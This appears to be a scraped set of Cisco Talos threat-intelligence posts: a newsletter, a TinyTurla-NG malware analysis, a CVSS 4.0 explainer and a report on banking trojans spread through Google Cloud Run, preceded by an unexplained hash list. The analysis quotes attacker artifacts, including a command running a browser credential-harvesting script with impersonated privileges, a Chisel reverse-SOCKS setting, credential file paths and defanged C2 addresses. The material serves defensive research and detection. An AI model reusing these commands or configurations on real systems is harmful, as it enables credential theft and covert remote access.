2e04c36b7ddd6939b7bef258bfeba6f91a5c37a43389dd6d9a88eff5863df5ed

43e99539e4b966dde2f9de8dc1ffb4a22bc560e54c01de9aef6b15fac1412714

46226d4fb7ffe15ba8167e3724f991c543731672e19ef40bb43fddc6df648d0a

46cc07a9287da26e238a74734d87e0aae984f4648a80a26547afa0de8c850afb

51be3a3b4ebd15c305c0f9b57388c449f88f0d6d2d46a0a838f046f0fd21b78f

55b0247b9b574978a4c9abd19c3bcc04ea78598398b9f8aeb35bd51cbd877576

56612bb0ab00cbb7af24326b027a55ff25852ddab1f1c8e24471b7ce97003505

5831f4f8ce715d4a021284e68af1b6d8040a2543484ac84b326eea20c543552e

58562e49c1612f08e56e7d7b3ca6cd78285948018b2998e45bd425b4c79ce1f4

62495620b0d65d94bc3d68dec00ffbe607eacd20ab43dc4471170aa292cc9b1a

682546addb38a938982f0f715b27b4ba5cda4621e63f872f19110d174851c4e9

69019b7b64deb5cc91a58b6a3c5e6b1b6d6665bd40be1381a70690ba2b305790

6bf082f001f914824a6b33f9bdd56d562c081097692221fb887035e80926d583

7923d409959acffab49dda63c7c9c15e1bdd2b5c16f7fcfe8ef3e3108e08df87

7ac22989021082b9a377dcc582812693ce0733e973686b607e8fc2b52dcf181d

8420d77ba61925b03a1ad6c900a528ecacbb2c816b3e6bc62def40fc14e03b78

850dd47a0fb5e8b2b4358bf3aa1abd7ebaae577b6fc4b6b4e3d7533313c845b8

96363b2b9e4ed8044cb90b6619842ba8897b4392f9025cbfdccfda1ea7a14a58

97157c8bbeb8769770c4cb2201638d9ad0103ba2fdfed9bdbd03c53bd7a5fcb9

a103b0c604ef32e7aabb16c2a7917fd123c41486d8e0a4f43dcf6c48d76de425

a82fb82f3aa2f6123d2c0fb954ae558ac6e8862ef756b12136fbe8d533b30573

a92934c014a7859bd122717f4c87f6bd31896cb87d28c9fac1a6af57ff8110f6

ab2a2465fccd7294580c11492c29a943c54415e0c606f41e08ce86d69e254ee4

ababe815e11b762089180e5fb0b1eaffa6a035d630d7aaf1d8060bd5d9a87ea5

b04a0a4a1520c905007a5d370ed2b6c7cb42253f4722cc55a9e475ae9ece1de7

c29b9f79b0a34948bde1dfca3acecca6965795917c7d3444fcacba12f583fb98

c99237a5777a2e8fa7da33460a5b477d155cc26bc2e297a8563516a708323ead

ca652fc3a664a772dbf615abfe5df99d9c35f6a869043cf75736e6492fbd4bea

b5a272acd842154b2069b60aab52568bbfde60e59717190c71e787e336598912

5efa99b3cb17bec76fec2724bcfcc6423d0231bba9cf9c1aed63005e4c3c2875

ce135a7e0410314126cacb2a2dba3d6d4c17d6ee672c57c097816d64eb427735

d3ff98b196717e66213ccf009cbeed32250da0e2c2748d44f4ee8fb4f704407c

35b7dd775db142699228d3e64ee8e9a02c6d91bb49f7c2faf367df8ba2186fd6

e65e25aee5947747f471407a6cce9137695e4fee820f990883b117726195988c

e8ed09b016ea62058404c482edf988f14a87c790d5c9bd3d2e03885b818ef822

febf9c5ede3964fdb3b53307a3d5ef7b0e222705a3bb39bef58e28aaba5eed28

ff3769c95b8a5cdcba750fda5bbbb92ef79177e3de6dc1143186e893e68d45a4

TikTok’s latest actions to combat misinformation shows it’s not just a U.S. problem

TikTok’s latest actions to combat misinformation shows it’s not just a U.S. problem

When we talk about the term “fake news,” most people likely picture a certain person who made the term infamous. 

And when we talk about misinformation and disinformation, many will remember the “Russian troll farms” that popped up during the 2016 U.S. presidential election and were unmasked and shut down during former president Barack Obama’s final days in office. 

But a few recent actions from TikTok, the most popular online social media platform, show that the problem of spreading misinformation and disinformation goes far beyond the borders of the U.S. 

TikTok announced last week it was launching in-app “election centres” to help combat misinformation and inform users of facts when they view videos about elections in European Union nations. This includes 27 unique apps that all use the country’s native language.  

In a statement on their site, the social media company said this effort is to “ensure people can easily separate fact from fiction.” 

Part of me can’t help but wonder if this wasn’t a problem of the company’s own creation after they allowed misinformation about the COVID-19 global pandemic to spread rapidly and use an algorithm that enhances “controversial” videos about different international brands. But I can certainly hope that these election centres provide more context than the little info box Twitter launched a while ago.  

I think this is important to note, though, that this problem just goes beyond American culture. Fake news, disinformation, misinformation – whatever label you want to put on it – will not just go away if one election in the U.S. goes one way or the other. It is an issue that is spreading on all platforms in all countries. 

I’ve been at fault in the past for just wanting to put the blame on Twitter. While they have been one of the worst offenders of allowing misinformation on their site, they are far from the only offenders or the only platform where users can spread this time of misinformation, even if they are doing it by accident. 

Just like any other platform, it’s easy for someone on TikTok to simply “share” or “like” someone else’s video if they find it compelling without giving it a second thought. Your friends and family are likely spreading misinformation on their feeds without even knowing it or doing it with any malicious intent. Regardless of where you live in the world, this is likely true. 

It’s amplified in the U.S. because our political theater is such that when something happens, everyone else on the world stage notices it. I can’t say that folks in the U.S. are necessarily invested in the national elections in Greece.  

But if misinformation is allowed to spread during the Greek elections, it’s going to spread to U.S. presidential elections. Once the infrastructure is in place for disinformation to flourish on a platform, it’s nearly impossible to get rid of, no matter the topic.  

The one big thing 

Google Cloud Run is currently being abused in high-volume malware distribution campaigns, spreading several banking trojans such as Astaroth (aka Guildma), Mekotio and Ousaban to targets across Latin America and Europe. The volume of emails associated with these campaigns has significantly increased since September 2023 and we continue to regularly observe new email distribution campaigns. We have observed all three malware families being delivered during the same timeframe from the same storage bucket within Google Cloud. 

Why do I care? 

Some of the highest volume campaigns recently observed were being used to deliver the Astaroth, Mekotio, and Ousaban banking trojans to victims largely located in Latin American countries. We have also observed lower volume campaign victims located throughout Europe and North America, which may indicate less geographically focused targeting by threat actors moving forward. For example, the current variant of Astaroth targets more than 300 institutions across 15 Latin American countries. 

So now what? 

Talos has released new ClamAV signatures and Snort rules to protect against these various banking trojans. Our researchers have also alerted Google of this activity so that they may address it internally on Cloud Run. 

Top security headlines of the week 

Poland is launching a formal investigation into whether its former government leaders misused the Pegasus spyware. Parliament created a coalition to see if the Law and Justice (PiS) government, previously the ruling party of Poland, used the controversial spyware to track and target its political opponents. Current ruling leaders used a promise of an investigation as one of their top campaign platforms. Meanwhile, NSO Group, the creators of Pegasus, have reportedly created a new one-click exploit called “MMS Fingerprint” that it offers as an infection tool for the spyware. MMS Fingerprint allows Pegasus users to learn a great deal about a target Blackberry, iPhone or Android device by sending a specially crafted Multimedia Messaging Service (MMS) message. A contract between an NSO Group reseller and a customer in Ghana exposed the information, including a promise that MMS Fingerprint required “No user interaction, engagement, or message opening ... to receive the device fingerprint.” (Politico, DarkReading

The spyware startup Variston is reportedly shrinking and is preparing to completely close. Variston is known for launching spyware that can target iPhones, Android devices and some PCs. A disgruntled employee reportedly leaked information about the company and the zero-day exploits they used to Google’s Threat Analysis Group, which allowed Google to unmask the operation. This eventually led to several employees and developers leaving Variston. Variston, founded in 2018, previously used three zero-day vulnerabilities to target Apple devices, including a campaign in March 2023 to target iPhones in Indonesia. Reporters and researchers have yet to find who, exactly, Variston sold their services and technology to, though former employees have said some of the spyware was sent to the United Arab Emirates. (Tech Crunch, Google

Volt Typhoon, a large APT based in China, is reportedly still exfiltrating sensitive information on operational technology (OT) networks. Volt Typhoon has been known to target organizations in the communications, manufacturing, utility, IT and education sectors across the globe, though it’s recently become more noteworthy for its targeting of critical networks in the U.S. A new report from cybersecurity firm Dragos says that it spotted Volt Typhoon conducting scanning activities against electric companies between November and December 2023. Volt Typhoon is traditionally known for espionage and data theft on behalf of the Chinese government. But Dragos also says that the actor has also recently infiltrated a large U.S. city's emergency services network, as well as critical infrastructure networks in Africa. The report states that the OT data stolen may cause “unintended disruption to critical industrial processes or provide the adversary with crucial intelligence to aid in follow-up offensive tool development or attacks against ICS networks.” (SecurityWeek, The Register

Can’t get enough Talos? 

Upcoming events where you can find Talos 

S4x24 (March 4 - 27) 

Miami Beach, Florida 

To protect themselves during Russian aggression, the Ukrainian military utilizes electronic warfare to blanket critical infrastructure to defeat radar and GPS-guided smart munitions. This has the unintended consequence of disrupting GPS synchrophasor clock measurements and creating service outages on an already beleaguered and damaged transmission electric grid. Joe Marshall from Talos’ Strategic Communications team will tell an incredible story of how a group of engineers and security professionals from a diverse coalition of organizations came together to solve this electronic warfare GPS problem in an unconventional technical way, and helped stabilize parts of the transmission grid of Ukraine. 

RSA (May 6 - 9) 

San Francisco, California 

Most prevalent malware files from Talos telemetry over the past week 

SHA 256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
MD5: 2915b3f8b703eb744fc54c81f4a9c67f  
Typical Filename: VID001.exe  
Claimed Product: N/A  
Detection Name: Win.Worm.Coinminer::1201 

SHA 256: 6d167aee7013d61b0832937773cd71d77493a05d6ffb1849bdfb1477622e54c2 
MD5: 36503fd339663027f5909793ea49ccbc 
Typical Filename: telivy_agent_2.3.1.exe 
Claimed Product: N/A  
Detection Name: W32.File.MalParent

SHA 256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
MD5: 7bdbd180c081fa63ca94f9c22c457376 
Typical Filename: c0dwjdi6a.dll 
Claimed Product: N/A  
Detection Name: Trojan.GenericKD.33515991 

SHA 256: 5616b94f1a40b49096e2f8f78d646891b45c649473a5b67b8beddac46ad398e1    
MD5: 3e10a74a7613d1cae4b9749d7ec93515    
Typical Filename: IMG001.exe    
Claimed Product: N/A    
Detection Name: Win.Dropper.Coinminer::1201 

SHA 256: 59f1e69b68de4839c65b6e6d39ac7a272e2611ec1ed1bf73a4f455e2ca20eeaa   
MD5: df11b3105df8d7c70e7b501e210e3cc3   
Typical Filename: DOC001.exe   
Claimed Product: N/A   
Detection Name: Win.Worm.Coinminer::1201 

TinyTurla-NG in-depth tooling and command and control analysis

  • Cisco Talos, in cooperation with CERT.NGO, has discovered new malicious components used by the Turla APT. New findings from Talos illustrate the inner workings of the command and control (C2) scripts deployed on the compromised WordPress servers utilized in the compromise we previously disclosed.
  • Talos also illustrates the post-compromise activity carried out by the operators of the TinyTurla-NG (TTNG) backdoor to issue commands to the infected endpoints. We found three distinct sets of PowerShell commands issued to TTNG to enumerate, stage and exfiltrate files that the attackers found to be of interest.
  • Talos has also discovered the use of another three malicious modules deployed via the initial implant, TinyTurla-NG, to maintain access, and carry out arbitrary command execution and credential harvesting.
  • One of these components is a modified agent/client from Chisel, an open-sourced attack framework, used to communicate with a separate C2 server to execute arbitrary commands on the infected systems.
  • Certificate analysis of the Chisel client used in this campaign indicates that another modified chisel implant has likely been created that uses a similar yet distinct certificate. This assessment is in line with Turla’s usage of multiple variants of malware families including TinyTurla-NG, TurlaPower-NG and other PowerShell-based scripts during this campaign.
TinyTurla-NG in-depth tooling and command and control analysis

Talos, in cooperation with CERT.NGO, has discovered new malicious components used by the Turla APT in the compromise we’ve previously disclosed. The continued investigation also revealed details of the inner workings of the C2 scripts including handling of incoming requests and a WebShell component that allows the operators to administer the compromised C2 servers remotely.

C2 server analysis

The command and control (C2) code is a PHP-based script that serves two purposes: It’s a handler for the TinyTurla-NG implants and web shell that the Turla operators can use to execute commands on the compromised C2 server. The C2 scripts obtained by Talos are complementary to the TinyTurla-NG (TTNG) and TurlaPower-NG implants and are meant to deliver executables and administrative commands to execute on infected systems.

On load, the PHP-based C2 script will perform multiple actions to create the file structure used to serve the TTNG backdoor. After receiving a request, the C2 script first checks if the logging directory exists, if not, it will create one. Next, the script checks for a specific COOKIE ID. If it exists and corresponds to the hardcoded value, then the C2 script will act as a web shell.

It will base64 decode the value of the $_COOKIE (not to be confused with the authentication COOKIE ID) entry and execute it on the C2 server as a command. These commands are either run using the exec(), passthru(), system(), or shell_exec() functions. It will also check if the variable specified is a resource and read its contents. Once the actions are complete, the output or resource is sent to the requestor and the PHP script will stop executing.

TinyTurla-NG in-depth tooling and command and control analysis
C2 script’s web shell capability.

If there is an “id” provided in the HTTP request to the C2 server, the script will treat this as communication with an implant, such as TTNG or TurlaPower-NG. The “id” parameter is the same variable that is passed by the TTNG and TurlaPower-NG implants during communication with the C2 and creates the logging directory on the C2 server, as well. Depending on the next form value accompanying the “id”, the C2 will perform the following actions:

  • "task": Write the content sent by the requestor to the “<id>/tasks.txt” file and record the requestor’s IP address and timestamp in the “<id>/_log.txt”. The contents of this file are then sent to the requestor in response to the “gettask” request. Adversaries use this mechanism to add more tasks to the list of tasks/commands that each C2 must send to their backdoor installations to execute on the infected endpoints.
  • "gettask": Send the contents of the “<id>/tasks.txt” file to the infected system requesting a new command to execute on the infected endpoint.
  • "result": Get the content of the HTTP(S) form and record it into the “<id>/result.txt” file. The C2 uses this mechanism to obtain and record the output of a command executed on an infected endpoint by the TTNG backdoor into a file on disk.
  • "getresult": Get the contents of the “<id>/result.txt” file from the C2 server. The adversaries use this to obtain the results of a command executed on the infected endpoint without having to access the C2 server.
  • "file" + "name": Save the contents of the file sent to the C2 server either in full or part to a file specified on the C2 server with the same “name” specified in the HTTP form.
  • "cat_file": Read the contents of a file specified by the requestor on the C2 server and respond with the contents.
  • "rm_file": Remove/delete a file specified by the requestor from the C2 server.
TinyTurla-NG in-depth tooling and command and control analysis
The C2 script’s request handling logic.

The HTTP form values accepted by the C2 server task, cat_file, rm_file, get_result and their corresponding operations on the C2 server indicate that these are part of an operational apparatus that allows the threat actors to feed the C2 server new commands and retrieve valuable information collected by the C2 server, from a remote location, without having to log into the C2 itself. Operationally, this is a tactic that is beneficial to the threat actors considering that all C2 servers discovered so far are websites compromised by the threat actor instead of being attacker-owned. Therefore, it would be beneficial for Turla’s operators to simply communicate over HTTPS masquerading as legitimate traffic instead of re-exploiting or accessing the servers through other means such as SSH thereby increasing their fingerprint on the compromised C2 servers.

This tactic can be visualized as:

TinyTurla-NG in-depth tooling and command and control analysis

Instrumenting TinyTurla-NG to carry out post-compromise activity

The adversaries use TinyTurla-NG to perform additional reconnaissance to enumerate files of interest on the infected endpoints and then exfiltrate these files. They issued three distinct sets of modular PowerShell commands to TTNG:

  • Reconnaissance commands: Used to enumerate files in a directory specified by the operator. The directory listing is returned to the operator to select interesting files that can be exfiltrated.
TinyTurla-NG in-depth tooling and command and control analysis

PowerShell script/Command enumerates files in four locations specified by the C2 and sends the results back to it.

  • Copy file commands: Base64-encoded commands/scripts issued to the infected systems to copy over files of interest from their original location to a temporary directory, usually: C:\windows\temp\
TinyTurla-NG in-depth tooling and command and control analysis
PowerShell script copies files to an intermediate location.
  • Exfiltration commands/scripts aka TurlaPower-NG: These scripts were used to finally exfiltrate the selected files to the C2 servers.

The scripts used during enumeration, copying and exfiltration tasks contain hardcoded paths for files and folders of interest to Turla. These locations consisted of files and documents that were used and maintained by Polish NGOs to conduct their day-to-day operations. The actors also used these scripts to exfiltrate Firefox profile data, reinforcing our assessment that Turla made attempts to harvest credentials, along with data exfiltration.

While Tinyturla-NG itself is enough to perform a variety of unauthorized actions on the infected system using a combination of scripts described above, the attackers chose to deploy three more tools to aid in their malicious operations:

  • Chisel: Modified copy of the Chisel client/agent.
  • Credential harvesting scripts: PowerShell-based scripts for harvesting Google Chrome or Microsoft Edge’s saved login data.
  • Tool for executing commands with elevated privileges: A binary that is meant to impersonate privilege levels of a specified process while executing arbitrary commands specified by the parent process.

The overall infection activity once TTNG has been deployed looks like this:

TinyTurla-NG in-depth tooling and command and control analysis

Using Chisel as another means of persistent access

Talos’ investigation uncovered that apart from TurlaPower-NG, the PowerShell-based file exfiltrator, the adversary also deployed another implant on infected systems. It’s a modified copy of the GoLang-based, open-source tunneling tool Chisel stored in the location: C:\Windows\System32\TrustedWorker[.]exe

The modified Chisel malware is UPX compressed, as is common for Go binaries, and contains the C2 URL, port and communication certificate, and private keys embedded in the malware sample. Once it decrypts these artifacts, it continues to create a reverse SOCKS proxy connection to the C2 using the configuration: R:5000:socks

In the proxy:

  • “R”: Stands for remote port forwarding.
  • “5000”: This is the port on the attacker machine that receives the connection from the infected system.
  • “socks”: Specifies the usage of the SOCKS protocol. 

(The default local host and port for a socks remote in Chisel is 127[.]0[.]0[.]1:1080.)

The C2 server that the chisel sample contacts is: 91[.]193[.]18[.]120:443.

The TLS configuration consists of a client TLS certificate and key pair. The certificate is valid between Dec. 7, 2023 and Dec. 16, 2024. This validity falls in line with Talos’ assessment that the campaign began in December 2023. The issuer of the certificate is named “dropher[.]com” and the subject name is “blum[.]com”.

TinyTurla-NG in-depth tooling and command and control analysis
TLS Certificate for the chisel malware used by Turla. 

During our data analysis, we found another certificate which we assessed with high confidence was also generated by Turla operators, but it's unclear if this was a mistake or if they intended for the certificate to be used on another modified chisel implant. 

TinyTurla-NG in-depth tooling and command and control analysis
Certificate issuer DN.

The new certificate has the same issuer but in this case, the common name is blum[.]com and the serial number is 0x1000. This certificate was generated one second before the one used in the modified chisel client/agent.

Additional tools for elevated process execution and credential harvesting

Turla also deployed two more tools to aid their malicious operations on the infected systems. One is used to run arbitrary commands on the system and the other is used to steal Microsoft Edge browser’s login data.

The first tool is a small and simple Windows executable to create a new command line process on the system by impersonating the privilege level of another existing process. The tool will accept a target Process Identifier (PID) representing the process whose privilege level is to be impersonated and the command line that needs to be executed. Then, a new cmd[.]exe is spawned and used to execute arbitrary commands on the infected endpoint. The binary was compiled in early 2022 and was likely used in previous campaigns by Turla.

TinyTurla-NG in-depth tooling and command and control analysis
The tool contains the embedded cmd[.]exe command line.

The second tool discovered by Talos is a PowerShell script residing at the location:

C:\windows\system32\edgeparser.ps1

This script is used to find  login data from Microsoft Edge located at:

%userprofile%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

This data file and the corresponding decryption key for the login data extracted from the endpoint is archived into a ZIP file and stored in the directory: C:\windows\temp\<filename>.zip

The script can be used to obtain credentials for Google Chrome as well but has been modified to parse login data from:

%userprofile%\AppData\Local\Microsoft\Edge
TinyTurla-NG in-depth tooling and command and control analysis
PowerShell script obtaining key and login data to add to the archive for exfiltration.

TTNG uses the privilege elevation tool to run the PowerShell script using the command:

"C:\Windows\System32\i.exe" _PID_ "powershell -f C:\Windows\System32\edgeparser.ps1"

This results in the tool spawning a new process with the command line:

C:\Windows\System32\cmd.exe /c "powershell -f C:\Windows\System32\edgeparser.ps1"

Coverage

Ways our customers can detect and block this threat are listed below.

TinyTurla-NG in-depth tooling and command and control analysis

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

IOCs

IOCs for this research can also be found in our GitHub repository here.

Hashes

267071df79927abd1e57f57106924dd8a68e1c4ed74e7b69403cdcdf6e6a453b
d6ac21a409f35a80ba9ccfe58ae1ae32883e44ecc724e4ae8289e7465ab2cf40
ad4d196b3d85d982343f32d52bffc6ebfeec7bf30553fa441fd7c3ae495075fc
13c017cb706ef869c061078048e550dba1613c0f2e8f2e409d97a1c0d9949346
b376a3a6bae73840e70b2fa3df99d881def9250b42b6b8b0458d0445ddfbc044

Domains

hanagram[.]jp
thefinetreats[.]com
caduff-sa[.]ch
jeepcarlease[.]com
buy-new-car[.]com
carleasingguru[.]com

IP Addresses

91[.]193[.]18[.]120

How CVSS 4.0 changes (or doesn’t) the way we see vulnerability severity

How CVSS 4.0 changes (or doesn’t) the way we see vulnerability severity

Finding, managing and patching security vulnerabilities on any network, no matter the size, is a tall task. 

In the first week of 2024 alone, there were 621 new common IT security vulnerabilities and exposures (CVEs) disclosed worldwide, covering a range of applications, software and hardware that could be on any given network. 

Just looking at the raw number of security vulnerabilities that need to be mitigated or patched is going to be overwhelming for any IT team. So, at its most basic level, it’s easy to see why administrators and security researchers are drawn to the appeal of a singular data point that measures how severe a vulnerability is, distilled down to a scale of 0 – 10. 

Most casual cybersecurity observers will be familiar with the basic terms like “critical,” “severe” or “moderate” when it comes to measuring how serious a particular vulnerability is – these are usually used in news articles or technical write-ups about a security issue when it becomes public and is based on a vulnerability’s CVSS score. 

Now, the way those vulnerabilities are scored is changing, and many organizations are likely to adopt the newly created CVSS 4.0 this year with the hope of providing new context around how, exactly, vulnerabilities can be exploited and what type of risk they present to targets.  

CVSS was created and is managed by the Forum of Incident Response and Security Teams (FIRST), a non-profit organization made up of incident response teams from government organizations and private companies.  

FIRST describes the CVSS scoring system as “a way to capture the principal characteristics of a vulnerability and produce a numerical score reflecting its severity. The numerical score can then be translated into a qualitative representation (such as low, medium, high, and critical) to help organizations properly assess and prioritize their vulnerability management processes.” 

And while distilling risk down to a simple numerical score is helpful for many in the security space, it is also an imperfect system that can often leave out important context and does not paint the whole picture of how to best manage vulnerable systems on a network. 

What’s new in CVSS 4.0? 

CVSS 3.1, the current model used by many organizations to measure vulnerability severity, has been around for about four years now. With CVSS 4.0, the creators are hoping to add additional context around how an attacker could exploit a certain vulnerability and what specific requirements need to be met before an adversary could carry out the exploit. 

Jerry Gamblin, a principal threat detection and response engineer for Cisco Vulnerability Management, said in a recent episode of Talos Takes that the main takeaway for users who just want to focus on the severity score (and whether an issue is particularly critical) will be in a new “attack requirements” field for scoring a vulnerability. Vulnerabilities that require a targeted software be configured in a certain way outside of its default state to be vulnerable are likely to have lower severity scores under CVSS 4.0, according to Gamblin. 

FIRST also says that CVSS 4.0 offers “finer granularity through the addition of new base metrics and values,” including providing readers and administrators with new information about what attack requirements exist for an adversary to be successful, and whether user interaction is required or not for a vulnerability to be exploited.  

The formula also includes a greater focus on resiliency on the internet-of-things and industrial control systems space, which has become a great focus of the cybersecurity community. 

Once CVSS 4.0 is out in the wild for long enough, FIRST is also likely to release an update in 4.1 that will fix any inconsistencies discovered during the rollout or to add additional missing context, though there is no concrete timeline for when that will happen. 

CVSS 4.0 won’t start appearing on most vulnerability advisories users are used to reading until later this year, when organizations that handle the release and disclosure of vulnerabilities start adopting CVSS 4.0, like the National Vulnerability Database, which won’t happen until later this year. 

Yves Younan, the leader of Talos’ Vulnerability Research Team, which discovers and discloses hundreds of new vulnerabilities every year, said it could be a year or more before Talos vulnerability advisories start using CVSS 4.0 as any problems are addressed. Talos also did not initially adopt CVSS 3.0 when it was released five years ago. 

What does a severity score mean, anyway? 

 

Generally, a higher CVSS score means a vulnerability is more serious than others and should be addressed sooner than others with lower severity scores.  

For example, Log4shell (CVE-2021-44228), a critical remote code execution vulnerability in the popular Apache Foundation Log4j library, was assigned a maximum score of 10 out of 10 in December 2021 when it was first discovered. The infamous vulnerability was widely exploited across the globe and continues to still be an issue today.  

While this score seems objective in measuring how serious an issue is, a CVSS score can be influenced by the researcher reporting the vulnerability and the vendor that needs to patch the issue. 

Talos uses the CVSS calculator to create its own severity scores, according to Younan. Eventually, Talos waits for MITRE Corp. to assign a CVE and communicates with the affected vendor about releasing a patch. However, certain aspects of how the CVSS is calculated can be subjective to the organization scoring it, such as whether they consider a vulnerability particularly “easy” or “difficult” to exploit.  One major advantage of CVSS 4.0 is that this determination has a much lower impact on the score compared to CVSS 3.1 where it would cause a significant change in the score. 

That end score that makes it out into the public is particularly important, though, because a security issue being covered in the press or spread widely on social media can often lead to more attackers trying to exploit the issue on unpatched software or hardware, and therefore increased urgency for the need to patch the issue from admins.  

The severity score on one individual vulnerability doesn’t tell the whole story about a potential exploit, either. Younan said many attacks and breaches are the result of adversaries chaining multiple vulnerabilities together to target a particular product or service. As Talos highlights in many of its Vulnerability Deep Dive posts, attackers can use a series of vulnerabilities with relatively low severity scores to eventually carry out a more serious attack or even completely take over a system.  

How do severity scores affect vulnerability management? 

Though severity scores are what will eventually make headlines, patching cadence and vulnerability management must take several factors into consideration.  

Each organization will have its own approach for how to address patching and updating their systems with their individual needs, Gamblin said, meaning it’s not as simple as patching 10-out-of-10 severity vulnerabilities first, then 9.9 out of 10, etc. 

Certain technologies, such as Cisco Vulnerability Management, can help administrators prioritize patching on their systems and see what vulnerabilities their networks are exposed to. Cisco Vulnerability Management has its own risk score that it uses to prioritize patching, and while the base CVSS score is a part of that calculation, Gamblin said the Cisco Risk Score won’t change because of the release of CVSS 4.0. 

Gamblin urges all users and administrators to first patch for vulnerabilities in any software or hardware that’s directly exposed to the internet first, without consideration for whether the vulnerability received a “critical” score or not. 

“Anything exposed to the internet should be patched because that’s where we see most attacks,” he said in the Talos Takes episode. “There are very few physical or local attacks these days.” 

After that, patching should focus on specific vulnerabilities that could lead to remote code execution, because those are the issues attackers are most likely to exploit, he said. While remote code execution vulnerabilities do generally receive higher severity scores, this isn’t always the case. 

It’s also important to prioritize patching any systems that customers or employees access on a day-to-day basis at an organization, Gamblin said, such as email clients or any software that employees have dedicated credentials to and stores sensitive information.  

As we pointed out in the 2023 Year in Review report, network infrastructure is also being targeted more frequently, so it’s important to patch any edge devices that touch the internet like routers and switches

For more on this topic, listen to a previous Talos Takes episode on patching strategies below, and read our recent post on securing network infrastructure

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

  • Google Cloud Run is currently being abused in high-volume malware distribution campaigns, spreading several banking trojans such as Astaroth (aka Guildma), Mekotio and Ousaban to targets across Latin America and Europe.
  • The volume of emails associated with these campaigns has significantly increased since September 2023 and we continue to regularly observe new email distribution campaigns.
  • The infection chains associated with these malware families feature the use of malicious Microsoft Installers (MSIs) that function as droppers or downloaders for the final malware payload(s).
  • We have observed evidence that the distribution campaigns for these malware families are related, with Astaroth and Mekotio being distributed under the same Google Cloud Project and Google Cloud storage bucket. Ousaban is also being dropped as part of the Astaroth infection process.
Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

Since September 2023, we have observed a significant increase in the volume of malicious emails leveraging the Google Cloud Run service to infect potential victims with banking trojans. Some of the highest volume campaigns recently observed were being used to deliver the Astaroth, Mekotio, and Ousaban banking trojans to victims largely located in Latin American countries. We have also observed lower volume campaign victims located throughout Europe and North America, which may indicate less geographically focused targeting by threat actors moving forward. The current variant of Astaroth targets more than 300 institutions across 15 Latin American countries.

Additionally, we have observed all three malware families being delivered during the same timeframe from the same storage bucket within Google Cloud. In the case of Ousaban, the payload was being delivered as part of the same Astaroth infection previously mentioned. This, combined with overlapping distribution TTPs, may indicate collaboration or links between the threat actors behind the distribution campaigns for the malware families, something that was previously referenced in a VirusBulletin paper.

What is Google Cloud Run?

Google Cloud Run is a service provided by Google that enables customers to build and deploy web services located in Google Cloud. They currently offer $300 in free credits for new Google accounts and two million free web requests per month.

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

When applications are deployed in Google Cloud Run, administrators are provided dashboards with detailed information about the requests being serviced by those web applications, performance metrics, load balancing configuration and graphs similar to what one would expect from the administrative panel for many Traffic Distribution Systems (TDS) commonly used by malware distributors. They also offer an Application Programming Interface (API) that allows for the rapid automated deployment of web services. 

Based on these characteristics, adversaries may view Google Cloud Run as an inexpensive, yet effective way to deploy distribution infrastructure on platforms that most organizations likely do not prevent internal systems from accessing. It also enables the rapid rotation of new Google Cloud Run web applications as they are removed by the platform provider after users report them for abuse. Cisco Talos contacted Google to ensure that they were made aware of the activity recently observed across the threat landscape.

Email campaigns

While we have observed the use of Google Cloud Run URLs included in emails for quite some time, the vast majority of the total volume we have observed over the past 18 months has occurred since September 2023. Below is a volumetric representation of the total emails leveraging Google Cloud Run over the past 12 months.

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

The language distribution of the emails observed across these campaigns also demonstrates a strong focus on LATAM with the overwhelming majority of emails being sent in Spanish. Lower-volume activity also appears to be targeting Italian-speaking victims, as shown below.

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

We observed the majority of the systems sending these messages were located in Brazil.

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

In most cases, these emails are being sent using themes related to invoices or financial and tax documents, and sometimes pose as being sent from the local government tax agency in the country being targeted. In the example below, the email purports to be from Administración Federal de Ingresos Públicos (AFIP), the local government tax agency in Argentina, a country frequently targeted by recent malspam campaigns.

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

The emails contain hyperlinks to Google Cloud Run, which can be identified due to the use of run[.]app as the top-level domain (TLD). 

When victims access these hyperlinks, they are redirected to the Cloud Run web services deployed by the threat actors and delivered the components necessary to initiate the infection process. As previously stated, we have observed Astaroth and Mekotio being distributed in this manner in the form of malicious Microsoft Installers (MSI) files as the Stage 1 payload to begin the infection process. 

We’ve observed two recent variations in the way the MSI files are being delivered. In many cases, the MSI file is being delivered directly from the Google Cloud Run web service deployed by the adversary as shown in the case of Mekotio below.

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

In others, the Google Cloud Run web service responds with a 302 redirect to a file location within Google Cloud (hxxps[:]//storage[.]googleapis[.]com). The redirect results in the delivery of a ZIP archive containing a malicious MSI.

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

